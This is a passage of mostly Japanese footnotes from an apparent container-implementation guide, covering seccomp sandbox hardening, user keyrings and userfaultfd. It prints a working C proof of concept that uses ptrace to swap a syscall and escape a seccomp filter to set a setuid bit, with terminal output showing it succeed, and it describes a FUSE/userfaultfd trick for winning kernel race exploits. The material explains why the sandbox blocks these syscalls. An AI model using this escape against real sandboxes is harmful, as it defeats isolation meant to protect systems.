=> filtering syscalls...done.  ++ ioctl failed: Operation not
permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_tiocsti -m . -u 0 -c ./tiocsti 
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.J9mulv...done.
=> trying a user namespace...writing /proc/1865/uid_map...writing
/proc/1865/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
id
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ uid=1000(lizzie) gid=1000(lizzie) groups=1000(lizzie)

50

「ユーザーキーリング」という概念がありますが、これはユーザー名前空間に関連していると思われますが、それだけです。

リスト122: man 7 keyrings

	User keyrings
		Each UID known to the kernel has a record that contains
		two  keyrings: The  user keyring  and the  user session
		keyring.   These exist for as  long as the UID record in
		the  kernel exists.   A  link to  the  user keyring  is
		placed in a  new session keyring by  pam_keyinit when a
		new login session is initiated.

51

man 2 seccompには次のように書かれています:

トレーサーが通知された後、seccompチェックは再度実行されません。(これは、seccompベースのサンドボックスがptrace(2)の使用を許可すべきではないことを意味します。たとえ他のサンドボックス化されたプロセスであっても、細心の注意を払わずに使用すべきではありません。ptracerは、このメカニズムを使用してseccompサンドボックスからエスケープできます。)

例を挙げます(seccompプロファイルはchmod(x, I_SUID)を防止すべきであることを思い出してください):

リスト124: ptrace_breaks_seccomp.c

/* -*- compile-command: "gcc -Wall -Werror -static ptrace_breaks_seccomp.c -o ptrace_breaks_seccomp" -*- */
#include <sys/stat.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <stddef.h>
#include <sys/syscall.h>

#define MAGIC_SYSCALL 666

int main (int argc, char **argv)
{
	pid_t child = 0;
	switch ((child = fork())) {
	case -1:
		fprintf(stderr, "++ fork failed: %%m\n");
		return 1;
	case 0:;
		fprintf(stderr, "++ child stopping itself.\n");
		if (kill(getpid(), SIGSTOP)) {
			fprintf(stderr, "++ kill failed: %%m\n");
			return 1;
		}
		fprintf(stderr, "++ child continued\n");
		/* pick an arbitrary syscall number. our tracer will change it to chmod. */
		if (syscall(MAGIC_SYSCALL, argv[0], S_ISUID | S_IRUSR | S_IWUSR | S_IXUSR)) {
			fprintf(stderr, "chmod-via-nanosleep failed: %%m\n");
			return 1;
		}
		fprintf(stderr, "++ chmod succeeded, child finished.\n");
		break;
	default:;
		int status = 0;
		if (ptrace(PTRACE_ATTACH,child, NULL, NULL)) {
			fprintf(stderr, "++ ptrace failed: %%m\n");
			return 1;
		}
		waitpid(child, &status, 0);
		if (!(status & SIGSTOP)) {
			fprintf(stderr, "++ expected SIGSTOP in child.\n");
			return 1;
		}
		struct user_regs_struct regs = {0};
		while (1) {
			if (ptrace(PTRACE_GETREGS, child, 0, &regs)) {
				fprintf(stderr, "++ getting child registers failed: %%m\n");
				return 1;
			}
			if (!(regs.orig_rax == MAGIC_SYSCALL)) {
				if (ptrace(PTRACE_SYSCALL, child, 0, 0)) {
					fprintf(stderr, "++ continuing the process failed.\n");
					return 1;
				}
				waitpid(child, &status, 0);
				if (!(status & SIGTRAP)) {
					fprintf(stderr, "++ expected SIGTRAP in child.\n");
					return 1;
				}
			} else {
				fprintf(stderr, "++ got MAGIC_SYSCALL!\n");
				regs.orig_rax = SYS_chmod;
				if (ptrace(PTRACE_SETREGS, child, 0, &regs)) {
					fprintf(stderr, "++ continuing child failed: %%m\n");
					return 1;
				}
				if (ptrace(PTRACE_CONT, child, 0, 0)) {
					fprintf(stderr, "++ continuing child failed: %%m\n");
					return 1;
				}
				break;
			}
		}
		waitpid(child, NULL, 0);
		fprintf(stderr, "++ finished waiting.\n");

		break;
	}
	return 0;
}

リスト125: allow_ptrace.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 2291ecb..42ecbc6 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -173,7 +173,6 @@ int syscalls()
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ptrace), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(mbind), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(migrate_pages), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(move_pages), 0)
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./ptrace_breaks_seccomp 
=> validating Linux version...4.7.6-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.EiZRVH...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ child stopping itself.
++ ptrace failed: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_ptrace -m . -u 0 -c ./ptrace_breaks_seccomp 
=> validating Linux version...4.7.6-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.ThyjKm...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ child stopping itself.
++ child continued
++ got MAGIC_SYSCALL!
++ chmod succeeded, child finished.
++ finished waiting.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ls -lh ptrace_breaks_seccomp 
-rws------ 1 lizzie lizzie 793K Oct 11 14:55 ptrace_breaks_seccomp

これは2016年6月にKees Cookによって修正されたようです:

リスト126: run seccomp after ptrace on LKML

There has been a long-standing (and documented) issue with seccomp
where ptrace can be used to change a syscall out from under seccomp.
This is a problem for containers and other wider seccomp filtered
environments where ptrace needs to remain available, as it allows
for an escape of the seccomp filter.

Since the ptrace attack surface is available for any allowed syscall, 
moving seccomp after ptrace doesn't increase the actually available
attack surface. And this actually improves tracing since, for
example, tracers will be notified of syscall entry before seccomp
sends a SIGSYS, which makes debugging filters much easier.

This series first cleans up seccomp to remove the now unneeded
two-phase entry, fixes the SECCOMP_RET_TRACE hole (same as the
ptrace hole above), and then reorders seccomp after ptrace on
each architecture.

Thanks, 

-Kees

このパッチセットは4.8でカーネルにマージされました。例えば93e35eを参照してください:

  [lizzie@empress linux-stable]$ git branch --contains 93e35efb8de45393cf61ed07f7b407629bf698ea
  * linux-4.8.y
    master

52

これは、私の知る限り、カーネルツリーでのみ文書化されています:

リスト129: Documentation/vm/userfaultfd.txt@c8d2bc

= Userfaultfd =

== Objective ==

Userfaults allow the implementation of on-demand paging from userland
and more generally they allow userland to take control of various
memory page faults, something otherwise only the kernel code could do.

[...] 

= API ==

When first opened the userfaultfd must be enabled invoking the
UFFDIO_API ioctl specifying a uffdio_api.api value set to UFFD_API (or
a later API version) which will specify the read/POLLIN protocol
userland intends to speak on the UFFD and the uffdio_api.features
userland requires. The UFFDIO_API ioctl if successful (i.e. if the
requested uffdio_api.api is spoken also by the running kernel and the
requested features are going to be enabled) will return into
uffdio_api.features and uffdio_api.ioctls two 64bit bitmasks of
respectively all the available features of the read(2) protocol and
the generic ioctl available.

Once the userfaultfd has been enabled the UFFDIO_REGISTER ioctl should
be invoked (if present in the returned uffdio_api.ioctls bitmask) to
register a memory range in the userfaultfd by setting the
uffdio_register structure accordingly. The uffdio_register.mode
bitmask will specify to the kernel which kind of faults to track for
the range (UFFDIO_REGISTER_MODE_MISSING would track missing
pages). The UFFDIO_REGISTER ioctl will return the
uffdio_register.ioctls bitmask of ioctls that are suitable to resolve
userfaults on the range registered. Not all ioctls will necessarily be
supported for all memory types depending on the underlying virtual
memory backend (anonymous memory vs tmpfs vs real filebacked
mappings).

Userland can use the uffdio_register.ioctls to manage the virtual
address space in the background (to add or potentially also remove
memory from the userfaultfd registered range). This means a userfault
could be triggering just before userland maps in the background the
user-faulted page.

The primary ioctl to resolve userfaults is UFFDIO_COPY. That
atomically copies a page into the userfault registered range and wakes
up the blocked userfaults (unless uffdio_copy.mode & 
UFFDIO_COPY_MODE_DONTWAKE is set). Other ioctl works similarly to
UFFDIO_COPY. They're atomic as in guaranteeing that nothing can see an
half copied page since it'll keep userfaulting until the copy has
finished.

53

Jann Hornはこれを私に説明し、彼の脆弱性とエクスプロイトへのリンクを提供しました:

エクスプロイトをより信頼性の高いものにするために、攻撃者はターゲットファイルの書き込み可能性チェックと実際の書き込み操作の間のカーネルでのコード実行を一時停止できる必要があります。これは、writev()システムコールとFUSEを悪用することによって行うことができます。攻撃者は、FUSEファイルシステムをマウントして読み取りアクセスを人為的に遅延させ、そのファイルシステムから構造体iovecを含むファイルをmmap()し、mmap()の結果をwritev()に渡します。(これを行う別の方法は、userfaultfd()システムコールを使用することです。)

これは、Vitaly NikolenkoによるCVE-2016-6187の概念実証でも使用されました。